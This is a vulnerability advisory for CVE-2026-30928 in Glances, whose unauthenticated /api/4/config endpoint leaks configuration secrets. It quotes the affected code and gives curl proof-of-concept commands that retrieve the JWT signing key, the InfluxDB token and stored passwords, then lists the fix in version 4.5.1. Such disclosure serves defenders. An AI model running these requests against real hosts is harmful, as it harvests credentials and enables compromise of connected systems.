CVE-2026-30928: Glances Exposes Unauthenticated Configuration Secrets
Summary The /api/4/config REST API endpoint returns the entire parsed Glances configuration file (glances.conf) via self.config.asdict() with no filtering of sensitive values. The configuration file contains credentials for all configured backend services including database passwords, API tokens, JWT signing keys, and SSL key passwords.
Details Root Cause: The asdict() method in config.py iterates over every section and every key in the ConfigParser and returns them all as a flat dictionary. No sensitive key filtering or redaction is applied.
Affected Code: - File: glances/outputs/glancesrestfulapi.py, lines 1154-1167 def apiconfig(self): """Glances API RESTful implementation.
Return the JSON representation of the Glances configuration file HTTP/200 if OK HTTP/404 if others error """ try: # Get the RAW value of the config' dict argsjson = self.config.asdict() # <-- Returns ALL config including secrets except Exception as e: raise HTTPException(status.HTTP404NOTFOUND, f"Cannot get config ({str(e)})") else: return GlancesJSONResponse(argsjson)
- File: glances/config.py, lines 280-287 def asdict(self): """Return the configuration as a dict""" dictionary = {} for section in self.parser.sections(): dictionary[section] = {} for option in self.parser.options(section): dictionary[section][option] = self.parser.get(section, option) # No filtering return dictionary - File: glances/outputs/glancesrestfulapi.py, lines 472-475 (authentication bypass) if self.args.password: router = APIRouter(prefix=self.urlprefix, dependencies=[Depends(self.authentication)]) else: router = APIRouter(prefix=self.urlprefix) # No authentication! PoC - Start Glances in default webserver mode: glances -w Glances web server started on http://0.0.0.0:61208/ - From any network-reachable host, retrieve all configuration secrets: Get entire config including all credentials curl http://target:61208/api/4/config Step 3: Extract specific secrets: Get JWT secret key for token forgery curl http://target:61208/api/4/config/outputs/jwtsecretkey
Get InfluxDB token curl http://target:61208/api/4/config/influxdb2/token
Get all stored server passwords curl http://target:61208/api/4/config/passwords Impact Full Infrastructure Compromise: Database credentials (InfluxDB, MongoDB, PostgreSQL/TimescaleDB, CouchDB, Cassandra) allow direct access to all connected backend data stores.
Other sources
Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.1, the /api/4/config REST API endpoint returns the entire parsed Glances configuration file (glances.conf) via self.config.asdict() with no filtering of sensitive values. The configuration file contains credentials for all configured backend services including database passwords, API tokens, JWT signing keys, and SSL key passwords. This vulnerability is fixed in 4.5.1.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2026-30928?
CVE-2026-30928 is classified as a critical vulnerability due to the exposure of sensitive configuration secrets.
Who is affected by CVE-2026-30928?
Users of Glances versions prior to 4.5.1 are affected by CVE-2026-30928.
How do I fix CVE-2026-30928?
To fix CVE-2026-30928, upgrade to Glances version 4.5.1 or later.
What are the implications of CVE-2026-30928?
CVE-2026-30928 can lead to unauthorized access as it exposes credentials and sensitive configuration information.
What types of sensitive information are exposed due to CVE-2026-30928?
CVE-2026-30928 exposes configuration secrets, including credentials for all configured backend services.